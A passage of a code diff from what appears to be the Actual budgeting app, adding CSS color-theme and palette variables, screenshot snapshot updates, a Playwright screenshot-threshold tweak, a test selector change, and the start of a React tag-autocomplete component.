--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray200);
|
||||
|
||||
--color-pillBackground: var(--palette-navy150);
|
||||
--color-pillBackgroundLight: var(--palette-navy50);
|
||||
--color-pillText: var(--palette-navy800);
|
||||
--color-pillTextHighlighted: var(--palette-purple600);
|
||||
--color-pillBorder: var(--palette-navy150);
|
||||
--color-pillBorderDark: var(--palette-navy300);
|
||||
--color-pillBackgroundSelected: var(--palette-blue150);
|
||||
--color-pillTextSelected: var(--palette-blue900);
|
||||
--color-pillBorderSelected: var(--palette-purple500);
|
||||
--color-pillTextSubdued: var(--palette-navy200);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--palette-navy900);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple125);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple150);
|
||||
--color-noteTagDefault: var(--palette-purple125);
|
||||
--color-noteTagText: var(--palette-black);
|
||||
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetOtherMonth: var(--palette-gray50);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray80);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple400);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy50);
|
||||
|
||||
--color-tooltipText: var(--palette-navy900);
|
||||
--color-tooltipBackground: var(--palette-white);
|
||||
--color-tooltipBorder: var(--palette-navy150);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy100);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
252
packages/component-library/src/themes/midnight.css
Normal file
@@ -0,0 +1,252 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray600);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray700);
|
||||
--color-pageBackgroundTopLeft: var(--palette-gray800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple300);
|
||||
--color-pageBackgroundLineMid: var(--palette-gray900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-gray150);
|
||||
--color-pageText: var(--palette-gray100);
|
||||
--color-pageTextLight: var(--palette-gray200);
|
||||
--color-pageTextSubdued: var(--palette-gray400);
|
||||
--color-pageTextDark: var(--palette-gray100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple300);
|
||||
--color-pageTextLinkLight: var(--palette-purple300);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple300);
|
||||
--color-cardShadow: var(--palette-gray900);
|
||||
|
||||
--color-tableBackground: var(--palette-gray800);
|
||||
--color-tableRowBackgroundHover: var(--palette-gray500);
|
||||
--color-tableText: var(--palette-gray150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-gray500);
|
||||
--color-tableTextSelected: var(--palette-gray800);
|
||||
--color-tableTextHover: var(--palette-gray400);
|
||||
--color-tableTextInactive: var(--palette-gray400);
|
||||
--color-tableHeaderText: var(--palette-gray200);
|
||||
--color-tableHeaderBackground: var(--palette-gray900);
|
||||
--color-tableBorder: var(--palette-gray600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-gray400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
|
||||
--color-tableRowHeaderBackground: var(--palette-gray700);
|
||||
--color-tableRowHeaderText: var(--palette-gray150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-gray500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange200);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-gray900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green400);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-gray700);
|
||||
--color-sidebarItemText: var(--palette-gray100);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-gray300);
|
||||
|
||||
--color-menuBackground: var(--palette-gray700);
|
||||
--color-menuItemBackground: var(--palette-gray200);
|
||||
--color-menuItemBackgroundHover: var(--palette-gray500);
|
||||
--color-menuItemText: var(--palette-gray100);
|
||||
--color-menuItemTextHover: var(--palette-gray50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-gray800);
|
||||
--color-menuBorderHover: var(--palette-purple300);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-gray600);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
|
||||
--color-menuAutoCompleteText: var(--palette-gray100);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green400);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
--color-modalBackground: var(--palette-gray700);
|
||||
--color-modalBorder: var(--palette-gray200);
|
||||
--color-mobileHeaderBackground: var(--palette-gray900);
|
||||
--color-mobileHeaderText: var(--palette-purple200);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-gray900);
|
||||
--color-mobileNavBackground: var(--palette-gray600);
|
||||
--color-mobileNavItem: var(--palette-gray150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple200);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple300);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-gray200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: var(--palette-gray700);
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-gray500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple300);
|
||||
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-gray400);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-gray150);
|
||||
--color-buttonNormalTextHover: var(--palette-gray150);
|
||||
--color-buttonNormalBackground: var(--palette-gray600);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-gray400);
|
||||
--color-buttonNormalBorder: var(--palette-gray300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple500);
|
||||
--color-buttonNormalDisabledText: var(--palette-gray400);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-gray500);
|
||||
|
||||
--color-calendarText: var(--palette-gray50);
|
||||
--color-calendarBackground: var(--palette-gray700);
|
||||
--color-calendarItemText: var(--palette-gray150);
|
||||
--color-calendarItemBackground: var(--palette-gray500);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green600);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green400);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green400);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green400);
|
||||
--color-noticeTextMenuHover: var(--palette-green700);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange200);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple800);
|
||||
--color-upcomingText: var(--palette-purple200);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-gray800);
|
||||
--color-formInputBackgroundSelected: var(--palette-gray700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-gray600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-gray800);
|
||||
--color-formInputBorderSelected: var(--palette-purple300);
|
||||
--color-formInputText: var(--palette-gray150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-gray150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
|
||||
--color-formInputTextSelection: var(--palette-gray800);
|
||||
--color-formInputShadowSelected: var(--palette-purple400);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray700);
|
||||
|
||||
--color-pillBackground: var(--palette-gray500);
|
||||
--color-pillBackgroundLight: var(--palette-gray900);
|
||||
--color-pillText: var(--palette-gray200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-gray500);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-gray150);
|
||||
--color-pillBorderSelected: var(--palette-purple300);
|
||||
--color-pillTextSubdued: var(--palette-gray500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple800);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple600);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-gray700);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-gray900);
|
||||
--color-floatingActionBarBorder: var(--palette-purple300);
|
||||
--color-floatingActionBarText: var(--palette-purple200);
|
||||
|
||||
--color-tooltipText: var(--palette-gray100);
|
||||
--color-tooltipBackground: var(--palette-gray800);
|
||||
--color-tooltipBorder: var(--palette-gray600);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
103
packages/component-library/src/themes/palette.css
Normal file
@@ -0,0 +1,103 @@
|
||||
:root {
|
||||
--palette-gray50: #f6f8fa;
|
||||
--palette-gray80: #f0f4f6;
|
||||
--palette-gray100: #e8ecf0;
|
||||
--palette-gray150: #d4dae0;
|
||||
--palette-gray200: #bdc5cf;
|
||||
--palette-gray300: #98a1ae;
|
||||
--palette-gray400: #747c8b;
|
||||
--palette-gray500: #4d5768;
|
||||
--palette-gray600: #373b4a;
|
||||
--palette-gray700: #242733;
|
||||
--palette-gray800: #141520;
|
||||
--palette-gray900: #080811;
|
||||
|
||||
--palette-navy50: #f7fafc;
|
||||
--palette-navy100: #e8ecf0;
|
||||
--palette-navy150: #d9e2ec;
|
||||
--palette-navy200: #bcccdc;
|
||||
--palette-navy300: #9fb3c8;
|
||||
--palette-navy400: #829ab1;
|
||||
--palette-navy500: #627d98;
|
||||
--palette-navy600: #486581;
|
||||
--palette-navy700: #334e68;
|
||||
--palette-navy800: #243b53;
|
||||
--palette-navy900: #102a43;
|
||||
|
||||
--palette-blue50: #f5fcff;
|
||||
--palette-blue100: #e3f0ff;
|
||||
--palette-blue150: #b3d9ff;
|
||||
--palette-blue200: #8bcafd;
|
||||
--palette-blue300: #66b5fa;
|
||||
--palette-blue400: #40a5f7;
|
||||
--palette-blue500: #2b8fed;
|
||||
--palette-blue600: #1980d4;
|
||||
--palette-blue700: #1271bf;
|
||||
--palette-blue800: #0b5fa3;
|
||||
--palette-blue900: #034388;
|
||||
|
||||
--palette-green50: #fafffd;
|
||||
--palette-green100: #effcf6;
|
||||
--palette-green150: #c6f7e2;
|
||||
--palette-green200: #8eedc7;
|
||||
--palette-green300: #65d6ad;
|
||||
--palette-green400: #3ebd93;
|
||||
--palette-green500: #27ab83;
|
||||
--palette-green600: #199473;
|
||||
--palette-green700: #147d64;
|
||||
--palette-green800: #0c6b58;
|
||||
--palette-green900: #014d40;
|
||||
|
||||
--palette-orange50: #fffefa;
|
||||
--palette-orange100: #fffbea;
|
||||
--palette-orange150: #fff7c4;
|
||||
--palette-orange200: #fcf088;
|
||||
--palette-orange300: #f5e35d;
|
||||
--palette-orange400: #f2d047;
|
||||
--palette-orange500: #e6bb20;
|
||||
--palette-orange600: #d4a31c;
|
||||
--palette-orange700: #b88115;
|
||||
--palette-orange800: #87540d;
|
||||
--palette-orange900: #733309;
|
||||
|
||||
--palette-red50: #fff1f1;
|
||||
--palette-red100: #ffe3e3;
|
||||
--palette-red150: #ffbdbd;
|
||||
--palette-red200: #ff9b9b;
|
||||
--palette-red300: #f86a6a;
|
||||
--palette-red400: #ef4e4e;
|
||||
--palette-red500: #e12d39;
|
||||
--palette-red600: #cf1124;
|
||||
--palette-red700: #ab091e;
|
||||
--palette-red800: #8a041a;
|
||||
--palette-red900: #610316;
|
||||
|
||||
--palette-purple50: #f9f6fe;
|
||||
--palette-purple100: #f2ebfe;
|
||||
--palette-purple125: #e4d4ff;
|
||||
--palette-purple150: #dac4ff;
|
||||
--palette-purple200: #b990ff;
|
||||
--palette-purple300: #a368fc;
|
||||
--palette-purple400: #9446ed;
|
||||
--palette-purple500: #8719e0;
|
||||
--palette-purple600: #7a0ecc;
|
||||
--palette-purple700: #690cb0;
|
||||
--palette-purple800: #580a94;
|
||||
--palette-purple900: #44056e;
|
||||
|
||||
--palette-white: #ffffff;
|
||||
--palette-black: #000000;
|
||||
--palette-hover: #fafafa;
|
||||
--palette-border: #e8ecf0;
|
||||
--palette-selected: #b3d9ff;
|
||||
|
||||
--palette-chartQual1: #45b29d;
|
||||
--palette-chartQual2: #efc94c;
|
||||
--palette-chartQual3: #e27a3f;
|
||||
--palette-chartQual4: #df5a49;
|
||||
--palette-chartQual5: #5f91b8;
|
||||
--palette-chartQual6: #e2a37f;
|
||||
--palette-chartQual7: #55dbc1;
|
||||
--palette-chartQual8: #efda97;
|
||||
--palette-chartQual9: #df948a;
|
||||
}
|
||||
|
Before Width: | Height: | Size: 192 KiB After Width: | Height: | Size: 192 KiB |
|
Before Width: | Height: | Size: 187 KiB After Width: | Height: | Size: 186 KiB |
|
Before Width: | Height: | Size: 186 KiB After Width: | Height: | Size: 186 KiB |
|
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 40 KiB |
|
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 39 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 37 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 24 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 30 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 33 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 86 KiB After Width: | Height: | Size: 86 KiB |
|
Before Width: | Height: | Size: 86 KiB After Width: | Height: | Size: 86 KiB |
|
Before Width: | Height: | Size: 88 KiB After Width: | Height: | Size: 88 KiB |
@@ -63,7 +63,6 @@ export const expect = baseExpect.extend({
|
||||
|
||||
const config = {
|
||||
mask: [target.locator('[data-vrt-mask="true"]')],
|
||||
maxDiffPixels: 5,
|
||||
};
|
||||
|
||||
const page: Page = 'page' in target ? target.page() : target;
|
||||
|
||||
|
Before Width: | Height: | Size: 93 KiB After Width: | Height: | Size: 93 KiB |
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 95 KiB After Width: | Height: | Size: 94 KiB |
|
Before Width: | Height: | Size: 119 KiB After Width: | Height: | Size: 119 KiB |
|
Before Width: | Height: | Size: 117 KiB After Width: | Height: | Size: 117 KiB |
|
Before Width: | Height: | Size: 117 KiB After Width: | Height: | Size: 118 KiB |
|
Before Width: | Height: | Size: 138 KiB After Width: | Height: | Size: 138 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
@@ -245,7 +245,7 @@ export class AccountPage {
|
||||
if (transaction.notes) {
|
||||
const notesCell = transactionRow.getByTestId('notes');
|
||||
await notesCell.click();
|
||||
const notesInput = notesCell.getByRole('textbox');
|
||||
const notesInput = notesCell.getByRole('combobox');
|
||||
await this.selectInputText(notesInput);
|
||||
await notesInput.pressSequentially(transaction.notes);
|
||||
await this.page.keyboard.press('Tab');
|
||||
|
||||
|
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 109 KiB |
|
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 108 KiB |
|
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 26 KiB |
|
Before Width: | Height: | Size: 29 KiB After Width: | Height: | Size: 29 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 21 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
@@ -26,7 +26,13 @@ export default defineConfig({
|
||||
// until layout provides width/height, and that can take >5s. Bumping
|
||||
// to 10s lets those assertions settle without per-test overrides.
|
||||
timeout: 10_000,
|
||||
toHaveScreenshot: { maxDiffPixels: 5 },
|
||||
// `threshold` is pixelmatch's per-pixel YIQ-delta cutoff — a pixel
|
||||
// counts toward `maxDiffPixels` only if its delta exceeds
|
||||
// 35215 * threshold². Playwright's 0.2 default lets faint color
|
||||
// overlays (e.g. rgba(…, .15) row striping) slip through with 0
|
||||
// reported diff pixels; 0.05 catches them while staying above
|
||||
// anti-aliasing noise.
|
||||
toHaveScreenshot: { maxDiffPixels: 5, threshold: 0.05 },
|
||||
},
|
||||
webServer: process.env.E2E_START_URL
|
||||
? undefined
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
import {
|
||||
useCallback,
|
||||
useEffect,
|
||||
useId,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from 'react';
|
||||
import type {
|
||||
CSSProperties,
|
||||
FocusEventHandler,
|
||||
KeyboardEvent,
|
||||
KeyboardEventHandler,
|
||||
} from 'react';
|
||||
import { ListBox, ListBoxItem, Popover } from 'react-aria-components';
|
||||
import { useTranslation } from 'react-i18next';
|
||||
|
||||
import { Input } from '@actual-app/components/input';
|
||||
import { styles } from '@actual-app/components/styles';
|
||||
import { theme } from '@actual-app/components/theme';
|
||||
import { css } from '@emotion/css';
|
||||
|
||||
import { useCurrentWordRange } from '#hooks/useCurrentWordRange';
|
||||
import { useCursorPosition } from '#hooks/useCursorPosition';
|
||||
import { useTagCSS } from '#hooks/useTagCSS';
|
||||
import { useFilteredTags } from '#hooks/useTags';
|
||||
|
||||
export type TagAutocompleteProps = {
|
||||
inputValue: string;
|
||||
setInputValue: (v: string) => void;
|
||||
inputStyle?: CSSProperties;
|
||||
onBlur?: FocusEventHandler;
|
||||
onKeyDown?: KeyboardEventHandler;
|
||||
onUpdate?: (value: string) => void;
|
||||
};
|
||||
|
||||
export function TagAutocomplete({
|
||||
inputValue,
|
||||
|
||||
setInputValue,
|
||||
onBlur,
|
||||
inputStyle,
|
||||
onKeyDown,
|
||||
onUpdate,
|
||||
}: TagAutocompleteProps) {
|
||||
